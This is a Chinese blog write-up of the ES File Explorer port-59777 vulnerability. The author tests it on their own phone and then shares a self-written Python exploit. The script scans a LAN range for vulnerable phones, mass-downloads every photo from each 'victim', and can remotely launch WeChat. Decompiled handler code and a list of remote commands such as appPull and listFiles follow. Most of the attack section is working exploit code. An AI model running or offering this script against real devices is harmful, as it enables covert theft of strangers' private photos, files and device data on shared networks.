写在前面的话 文章首发先知社区 ,未经允许,禁止转载
今天上网的时候看到一个新闻 ,ES文件浏览器存在漏洞,同一个网络下的用户可以直接访问安装了ES的用户手机上的文件,正好我手机上也安装了es,于是就测试了下。
测试 poc地址 下载
ip :
开始是192.168.0.100
后来有事去了,再连就是192.168.0.102
版本号 :4.1.9.4
0x00验证漏洞 首先电脑和手机处于同一个网络,再查看我的手机ip,和es的版本
执行命令python poc.py poc.py --cmd getDeviceInfo --network 192.168.0.
0x01分析原理 看了各位大佬的分析,小白我大概知道了原理,就是向手机发送一个json的数据包,我们使用大佬的脚本 ,想手机发送一个数据包,抓包分析一下
确实是发送了一个json的数据包
0x02获取受害者手机图片 首先列出受害者手机所有图片
python poc.py --cmd listPics
可以看到很多手机图片
0x03下载受害者图片 我们随便从刚才获得的列表中挑一张下载试试
python poc.py -g /storage/emulated/0/DCIM/Camera/IMG_20181218_175120.jpg
成功将图片下载到本地
0x04造个轮子 玩了下大佬的脚本,确实厉害,但是发现一个问题,就是他的脚本会自动扫描局域网所有的ip,这样就会很浪费时间,所以本着练习python编程的想法,自己又造了个轮子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from socket import *import requestsimport reimport jsonimport sysaddrs = [] def poc () : for ip in range(101 , 104 ): addr = "192.168.0." +str(ip) s = socket(AF_INET, SOCK_STREAM) s.settimeout(1 ) if not s.connect_ex((addr, 59777 )): s.close() print("[+]" +addr+"存在漏洞" ) addrs.append(addr) else : continue s.close() print("[+]扫描结束\n[+]执行操作" +sys.argv[1 ]) def cmd (cmd) : poc() for addr in addrs: headers = {"Content-Type" : "application/json" } address = 'http://' + addr + ':59777' data = '{ "command":' + cmd + ' }' r = requests.post(address, headers=headers, data=data) if cmd == 'listPics' : image = re.compile(r'/s.*jpg' ) for i in image.findall(r.text): imageurl = address + i filename = i.rsplit('/' , 1 )[1 ] r = requests.get(imageurl, headers=headers) print("[+]正在下载" +i) with open(filename, 'wb' ) as f: f.write(r.content) elif cmd == 'wx' : data = '{"command":"appLaunch", "appPackageName": "com.tencent.mm"}' r = requests.post(address, headers=headers, data=data) else : print(r.text) def main () : if len(sys.argv) > 1 : cmd(sys.argv[1 ]) else : print('Usage:' ) print('python3 es.py wx' ) print('python3 es.py listPics' ) print('python3 es.py listApps' ) print('python3 es.py listAudios' ) print('python3 es.py listVideos' ) print('python3 es.py listAppsPhone' ) print('python3 es.py getDeviceInfo' ) print('python3 es.py listAppsAll' ) if __name__ == '__main__' : main()
添加了一键下载所有图片,启动微信等功能,大致原理就是去请求资源的地址,只要符合APP的方法就行,具体方法参考漏洞路径4.1.84class2.-dex2jar.jar\com\estrongs\android\f\a.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 public c.b a (String paramString1, String paramString2, Properties paramProperties1, Properties paramProperties2, Properties paramProperties3) { if (paramString1.startsWith("/estrongs_filemgr_oauth_result" )) { paramString1 = CreateOAuthNetDisk.b(); if (paramString1 != null ) { paramString1.a(paramProperties2); } return null ; } if (paramString2.equals("POST" )) { localObject = new String(g()); try { localObject = new JSONObject((String)localObject); String str = ((JSONObject)localObject).getString("command" ); if (str.equals("listFiles" )) { return b(paramString1); } if (str.equals("listPics" )) { return d(); } if (str.equals("listVideos" )) { return e(); } if (str.equals("listAudios" )) { return f(); } if (str.equals("listApps" )) { return a(0 ); } if (str.equals("listAppsSystem" )) { return a(1 ); } if (str.equals("listAppsPhone" )) { return a(2 ); } if (str.equals("listAppsSdcard" )) { return a(3 ); } if (str.equals("listAppsAll" )) { return a(4 ); } if (str.equals("getAppThumbnail" )) { return d((JSONObject)localObject); } if (str.equals("appLaunch" )) { return a((JSONObject)localObject); } if (str.equals("appPull" )) { return c((JSONObject)localObject); } if (str.equals("getDeviceInfo" )) { paramString1 = b((JSONObject)localObject); return paramString1; } } catch (JSONException paramString1) { paramString1.printStackTrace(); return new c.b(this , "500 Internal Server Error" , "text/plain" , paramString1.toString()); } } Object localObject = ah.bL(paramString1); if ((localObject == null ) || (ah.I((String)localObject) == 0 )) { if (localObject == null ) { return super .a(paramString1, paramString2, paramProperties1, paramProperties2, paramProperties3); } return super .a((String)localObject, paramString2, paramProperties1, paramProperties2, paramProperties3); } paramString1 = paramProperties1.getProperty("range" ); if ((paramString1 != null ) && (paramString1.startsWith("bytes=" ))) { paramString2 = paramString1.substring("bytes=" .length()); int i = paramString2.indexOf('-' ); paramString1 = paramString2; if (i > 0 ) { paramString1 = paramString2.substring(0 , i); } } for (;;) { try { l = Long.parseLong(paramString1); return a((String)localObject, l, 0L ); } catch (NumberFormatException paramString1) { l = 0L ; continue ; } long l = 0L ; } }
0x05其他功能 1 2 3 4 5 6 7 8 9 10 11 12 13 listFiles:列出所有文件 listPics:列出所有图片 listVideos:列出所有视频 listAudios:列出所有音频文件 listApps:列出所有已安装的应用 listAppsSystem:列出所有系统应用 listAppsPhone:列出所有手机应用 listAppsSdcard:列出所有sdcard listAppsAll:列出安装的所有应用程序(包括系统应用程序) getDeviceInfo:获取设备信息 appPull:从设备中提取应用程序。需要包名称参数 appLaunch:启动应用程序。需要包名称参数 getAppThumbnail:获取应用程序的图标。包名称参数是必需的
其他功能感兴趣的可以自己测试,最后还要膜下发现漏洞的大佬,是真的强。